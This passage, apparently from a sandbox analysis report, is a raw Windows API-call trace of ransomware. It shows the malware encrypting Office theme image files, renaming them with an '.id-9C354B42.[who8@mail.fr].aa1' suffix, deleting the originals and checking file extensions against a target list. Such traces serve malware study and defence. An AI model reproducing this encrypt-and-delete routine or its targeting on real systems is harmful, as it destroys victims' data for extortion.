dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.557] GetLastError () returned 0x0 [0221.557] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0221.559] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0221.560] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.560] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.560] SetEndOfFile (hFile=0x1e4) returned 1 [0221.560] CloseHandle (hObject=0x1e4) returned 1 [0221.560] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.561] SetEndOfFile (hFile=0x1b0) returned 1 [0221.561] CloseHandle (hObject=0x1b0) returned 1 [0221.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.562] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0221.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.562] lstrlenW (lpString=".doc") returned 4 [0221.562] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.562] lstrlenW (lpString=".docx") returned 5 [0221.562] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.562] lstrlenW (lpString=".pdf") returned 4 [0221.562] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.562] lstrlenW (lpString=".xls") returned 4 [0221.562] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.562] lstrlenW (lpString=".xlsx") returned 5 [0221.562] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.562] lstrlenW (lpString=".ppt") returned 4 [0221.562] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.562] lstrlenW (lpString=".zip") returned 4 [0221.562] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.562] lstrlenW (lpString=".rar") returned 4 [0221.562] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.562] lstrlenW (lpString=".bz2") returned 4 [0221.562] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.562] lstrlenW (lpString=".7z") returned 3 [0221.562] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString=".dbf") returned 4 [0221.563] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString=".1cd") returned 4 [0221.563] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString=".jpg") returned 4 [0221.563] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString=".doc") returned 4 [0221.563] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString=".docx") returned 5 [0221.563] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.563] lstrlenW (lpString=".pdf") returned 4 [0221.563] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString=".xls") returned 4 [0221.563] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.563] lstrlenW (lpString=".xlsx") returned 5 [0221.563] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.563] lstrlenW (lpString=".ppt") returned 4 [0221.563] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.563] lstrlenW (lpString=".zip") returned 4 [0221.563] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.563] lstrlenW (lpString=".rar") returned 4 [0221.563] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.563] lstrlenW (lpString=".bz2") returned 4 [0221.563] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.563] lstrlenW (lpString=".7z") returned 3 [0221.563] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.564] lstrlenW (lpString=".dbf") returned 4 [0221.564] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.564] lstrlenW (lpString=".1cd") returned 4 [0221.564] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0221.564] lstrlenW (lpString=".jpg") returned 4 [0221.564] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.564] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.564] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.564] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1287) returned 1 [0221.564] CloseHandle (hObject=0x1b0) returned 1 [0221.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0221.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.565] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.565] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0221.586] GetLastError () returned 0x0 [0221.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x507, lpOverlapped=0x0) returned 1 [0221.604] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x510, lpOverlapped=0x0) returned 1 [0221.658] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.658] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.658] SetEndOfFile (hFile=0x178) returned 1 [0221.658] CloseHandle (hObject=0x178) returned 1 [0221.659] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.659] SetEndOfFile (hFile=0x1b0) returned 1 [0221.659] CloseHandle (hObject=0x1b0) returned 1 [0221.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.660] lstrlenW (lpString=".doc") returned 4 [0221.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.660] lstrlenW (lpString=".docx") returned 5 [0221.660] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.660] lstrlenW (lpString=".pdf") returned 4 [0221.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.660] lstrlenW (lpString=".xls") returned 4 [0221.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.660] lstrlenW (lpString=".xlsx") returned 5 [0221.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.660] lstrlenW (lpString=".ppt") returned 4 [0221.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.660] lstrlenW (lpString=".zip") returned 4 [0221.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.660] lstrlenW (lpString=".rar") returned 4 [0221.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.660] lstrlenW (lpString=".bz2") returned 4 [0221.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.660] lstrlenW (lpString=".7z") returned 3 [0221.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.660] lstrlenW (lpString=".dbf") returned 4 [0221.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.661] lstrlenW (lpString=".1cd") returned 4 [0221.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.661] lstrlenW (lpString=".jpg") returned 4 [0221.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.661] lstrlenW (lpString=".doc") returned 4 [0221.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.661] lstrlenW (lpString=".docx") returned 5 [0221.661] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.661] lstrlenW (lpString=".pdf") returned 4 [0221.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.661] lstrlenW (lpString=".xls") returned 4 [0221.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.661] lstrlenW (lpString=".xlsx") returned 5 [0221.661] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.661] lstrlenW (lpString=".ppt") returned 4 [0221.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.661] lstrlenW (lpString=".zip") returned 4 [0221.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.661] lstrlenW (lpString=".rar") returned 4 [0221.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.662] lstrlenW (lpString=".bz2") returned 4 [0221.662] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.662] lstrlenW (lpString=".7z") returned 3 [0221.662] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.662] lstrlenW (lpString=".dbf") returned 4 [0221.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.662] lstrlenW (lpString=".1cd") returned 4 [0221.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0221.662] lstrlenW (lpString=".jpg") returned 4 [0221.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.662] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.662] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.663] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1453) returned 1 [0221.663] CloseHandle (hObject=0x1b0) returned 1 [0221.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0221.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.663] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.663] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.892] GetLastError () returned 0x0 [0221.892] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0221.992] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0221.993] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.993] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.993] SetEndOfFile (hFile=0x1fc) returned 1 [0221.993] CloseHandle (hObject=0x1fc) returned 1 [0221.993] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.993] SetEndOfFile (hFile=0x1b0) returned 1 [0221.994] CloseHandle (hObject=0x1b0) returned 1 [0221.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.995] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0221.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.995] lstrlenW (lpString=".doc") returned 4 [0221.995] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.995] lstrlenW (lpString=".docx") returned 5 [0221.995] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.995] lstrlenW (lpString=".pdf") returned 4 [0221.995] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.995] lstrlenW (lpString=".xls") returned 4 [0221.995] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.995] lstrlenW (lpString=".xlsx") returned 5 [0221.995] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.995] lstrlenW (lpString=".ppt") returned 4 [0221.995] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.995] lstrlenW (lpString=".zip") returned 4 [0221.995] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.995] lstrlenW (lpString=".rar") returned 4 [0221.995] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.995] lstrlenW (lpString=".bz2") returned 4 [0221.995] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.996] lstrlenW (lpString=".7z") returned 3 [0221.996] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.996] lstrlenW (lpString=".dbf") returned 4 [0221.996] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.996] lstrlenW (lpString=".1cd") returned 4 [0221.996] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.996] lstrlenW (lpString=".jpg") returned 4 [0221.996] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.996] lstrlenW (lpString=".doc") returned 4 [0221.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.996] lstrlenW (lpString=".docx") returned 5 [0221.996] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.996] lstrlenW (lpString=".pdf") returned 4 [0221.996] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.996] lstrlenW (lpString=".xls") returned 4 [0221.996] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.996] lstrlenW (lpString=".xlsx") returned 5 [0221.996] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.996] lstrlenW (lpString=".ppt") returned 4 [0221.996] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.997] lstrlenW (lpString=".zip") returned 4 [0221.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.997] lstrlenW (lpString=".rar") returned 4 [0221.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.997] lstrlenW (lpString=".bz2") returned 4 [0221.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.997] lstrlenW (lpString=".7z") returned 3 [0221.997] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.997] lstrlenW (lpString=".dbf") returned 4 [0221.997] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.997] lstrlenW (lpString=".1cd") returned 4 [0221.997] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0221.997] lstrlenW (lpString=".jpg") returned 4 [0221.997] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.997] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.997] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.998] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=26402) returned 1 [0221.998] CloseHandle (hObject=0x1b0) returned 1 [0221.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0221.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.998] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.998] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: 